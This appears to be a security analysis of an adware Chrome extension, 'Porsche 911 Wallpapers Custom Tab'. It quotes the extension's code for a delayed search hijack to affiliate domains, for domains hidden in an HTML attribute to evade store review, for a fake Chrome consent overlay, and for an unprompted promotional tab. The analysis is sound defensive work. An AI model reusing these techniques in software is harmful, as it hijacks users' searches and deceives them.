Porsche 911 Wallpapers Custom Tab

After 1800 seconds (30 minutes) post-install, the search form action is silently swapped from `https://www.google.com/search` to `https://www.[spr].com/index.html`, where `spr` is randomly selected from the domains 'addilos', 'addiyos', or 'gundil'. All subsequent user searches are sent to these third-party redirect/affiliate domains instead of Google. This is a classic search hijacking pattern used to generate affiliate revenue from stolen user searches.

$(window)  .on('load', function() {      chrome.storage.local.get(['inti'], function(resultinti) {        if (Math.floor(Date.now() / 1000) - resultinti.inti > 1800) {          var sp = $("#sf")            .data("sp")            .split(",");          var spr = sp[Math.floor(Math.random() * sp.length)];          $('#sf')            .attr('action', 'https://www.' + spr + '.com/index.html');        }      });

On install, the Unix epoch timestamp is stored as `inti` in local storage. This value is later read in ApdS8N.js to gate the search hijacking logic: the redirect to affiliate domains only activates after 30 minutes have elapsed. This time delay is a deliberate anti-review evasion technique — Chrome Web Store reviewers who install and test the extension immediately will see normal Google search behavior and not detect the redirect.

chrome.runtime.onInstalled.addListener(function(details) {  if (details.reason == "install") {    chrome.runtime.setUninstallURL('https://chromenewtab.com/unistall/');    chrome.storage.local.set({      curImg: 'oxWuVxFAxJgh9POT.jpg'    }, function() {});    chrome.storage.local.set({      randomBg: "1"    }, function() {});    chrome.storage.local.set({      keepoverlay: "1"    }, function() {});    chrome.storage.local.set({      showdate: "1"    }, function() {});    chrome.storage.local.set({      showlinks: "1"    }, function() {});    chrome.storage.local.set({      inti: Math.floor(Date.now() / 1000)    }, function() {});  }});

The search form encodes three affiliate redirect domains ('addilos', 'addiyos', 'gundil') as a `data-sp` HTML attribute rather than referencing them directly in JavaScript, obfuscating their purpose. The JS reads this attribute at runtime and uses it to replace the Google search action with one of these domains after the 30-minute delay. Embedding the target domains in an opaque data attribute makes static analysis harder and separates the domain list from the logic that uses it.

<form id="sf" target="_top" action="https://www.google.com/search" method="get" class="search-form" data -  sp="addilos,addiyos,gundil">

A full-screen dark overlay shown on first load mimics Chrome's own new-tab-override consent dialog, complete with 'Keep it' and 'Change it back' buttons styled to look like Chrome UI. This social engineering overlay is designed to pressure users into retaining the extension's new tab replacement. The 'Change it back' button is a non-functional display element (no href, `cursor: default`), so users cannot actually revert from within the overlay.

<div  style="position: fixed; width: 100%; height: 100%; background-color: rgba(0,0,0,0.8); right: 0; z-index: 10000; text-align: center; display: none;"  id="keepoverlayo">  <div style="width: 500px; color: #fff; ...">    <h5> Thank you for choosing our extension! </h5>    <p style="color: #fff;"> Start using the extension by clicking <strong> "Keep it" </strong> button.</p>    <div style="background-color: #fff; border-radius: 5px; border: 1px solid #ccc; ...">      This page was change by the "Porsche 911 Wallpapers Custom Tab" extension.      <span class="btn btn-sm" style="float: right; ... border: 2px solid orange;">Keep it</span>      <span class="btn btn-sm" style="background: #1a73e8; ...">Change it back</span>    </div>  </div></div>

On install, the extension automatically opens a new tab to `https://chromenewtab.com/porsche-911/` (stored as `pageUrl`) without any user action. This drives traffic to the extension operator's promotional site immediately after installation, a pattern common among adware extensions in the 'chromenewtab' family.

chrome.storage.local.get(['pageUrl'], function(result) {  var localurl = result.pageUrl;  chrome.tabs.create({    url: localurl  });});